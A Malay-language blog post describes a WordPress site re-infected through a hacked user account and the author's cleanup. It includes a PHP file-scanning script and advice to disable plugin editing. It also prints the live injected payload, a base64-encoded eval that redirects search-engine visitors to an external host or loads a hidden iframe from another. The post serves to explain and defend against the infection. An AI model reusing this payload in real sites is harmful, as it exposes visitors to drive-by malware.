Berang, marah dan kecewa teramat sangat apabila salah satu laman sesawang kendalian saya memaparkan skrin merah dengan notifikasi ‘The site ahead contains harmful programs’. Buntu memikirkan apabila situasi ini berlaku dan saya meminta bantuan Serverfreak untuk menyelesaikan masalah ini. Serverfreak memang terkenal dengan kecekapan dan kepantasan mereka untuk menyelesaikan masalah pelanggan mereka. Apa yang mereka lakukan ialah menyalin semula fail-fail WordPress yang baru kedalam sistem fail yang sedia ada. Secara logiknya ‘troubleshoot’ ini sebenarnya boleh menyelesaikan masalah dimana fail-fail WordPress yang tercemar dengan kod malware telah dibuang dan digantikan dengan yang baru.
Kesan Kod Malware : Tindakan Lanjut Serverfreak
Selepas di salin, pihak Serverfreak telah memasang ‘plugin’ untuk mengesan kod-kod disemua fail-fail di dalam hosting. Keputusan menunjukkan, fail-fail terpasang bersih dari kod-kod malware. Selepas itu saya pula membuat laporan di Google Webmaster untuk meneliti kembali laman sesawang yang telah dibersihkan. Disangkakan panas sampai ke petang, tetapi hujan di tengah hari. Beberapa hari kemudian, kod-kod malware itu di pasang kembali.
Kesan Kod Malware : Punca
Aneh apabila memikirkan setiap kali ‘troubleshoot’ pasti perkara yang sama berulang. Saya nekad untuk menyelesaikan sendiri perkara ini. Pada awalnya saya memasang ‘plugin’ untuk mengesan akaun mana yang telah login baru-baru ini. Seperti yang saya sangka, salah satu akaun user telah di’hack’ dan digunakan untuk menampal kod-kod malware di setiap fail java plugin mahupun sistem WordPress itu sendiri. Mungkin jika tidak teliti setiap kod itu kita akan anggap ianya adalah kod biasa dan lebih sukar ianya menggunakan base64 untuk mengekod dan menyembunyikan kod itu dari pengesanan manusia. Contoh kod malware yang saya katakan adalah seperti dibawah :-
eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHRydW09aGVhZGVyc19zZW50KCk7DQokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQokdWE9JF9TRVJWRVJbJ0h UVFBfVVNFUl9BR0VOVCddOw0KaWYgKHN0cmlzdHIoJHVhLCJtc2llIikpew0KaWYgKCEkdHJ1bSl7DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJ pc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGV hZGVyKCJMb2NhdGlvbjogaHR0cDovL2FsYXBvdHJlbW5iYS5vc2EucGwvcmlmLyIpOw0KCQlleGl0KCk7DQoJfQ0KCX0NCn1lbHNlIHsNCmVjaG8gIjxpZnJhbWUgc3JjPSdodHRwOi8vcnRqaHRleWp0eWp0eWoub3JnZS5 wbC9tZG0vJyBmcmFtZWJvcmRlcj0wIGhlaWdodD0xIHdpZHRoPTEgc2Nyb2xsaW5nPW5vPjwvaWZyYW1lPiI7DQp9DQoJfQ=="));
Kesan Kod Malware : Tingkat keselamatan
Saya menyahaktifkan akaun yang telah di’hack’ itu, dan terus melakukan pembersihan atau pengesanan kod dengan melihat satu persatu fail java di setiap plugin. Ratusan dan mungkin ribuan fail java di gunakan di laman sesawang ini. Akhirnya saya menggunakan kod dibawah untuk mengesan awalan kod pada fail yang dijangkiti malware. Contoh kod yang digunakan adalah seperti yang berikut :-
<html><head><title>Find String</title></head><body> <?php // ini_set('max_execution_time', '0'); // ini_set('set_time_limit', '0'); find_files('.'); function find_files($seed) { if(! is_dir($seed)) return false; $files = array(); $dirs = array($seed); while(NULL !== ($dir = array_pop($dirs))) { if($dh = opendir($dir)) { while( false !== ($file = readdir($dh))) { if($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if(is_dir($path)) { $dirs[] = $path; } else { if(preg_match('/^.*\.(php[\d]?|txt|js|htaccess)$/i', $path)) { check_files($path); }} } closedir($dh); } } } function check_files($this_file){ $str_to_find[]='/*f2e65b8a4896036f5a10b91c236e1eee*/'; if(!($content = file_get_contents($this_file))) { echo("<p>Could not check $this_file You should check the contents manually!</p>\n"); } else { while(list(,$value)=each($str_to_find)) { if (stripos($content, $value) !== false) { echo("<p>$this_file -> contains $value</p>\n"); } } } unset($content); } ?> </body></html> sila ubah ini -> $str_to_find[]='/*f2e65b8a4896036f5a10b91c236e1eee*/'; dimana ianya adalah awalan kod yang saya cari /*f2e65b8a4896036f5a10b91c236e1eee*/ kepada ini -> $str_to_find[]='letak kod yang hendak dicari';
Setelah skrip diatas berjaya di lancarkan, kita perlu mengakses ‘folder’ dan fail masing-masing untuk memadam semua kod-kod malware tersebut. Dinasihatkan juga untuk menggunakan plugin ‘Wp Security’ untuk mematikan fungsi mengedit plugin dan juga tema laman sesawang.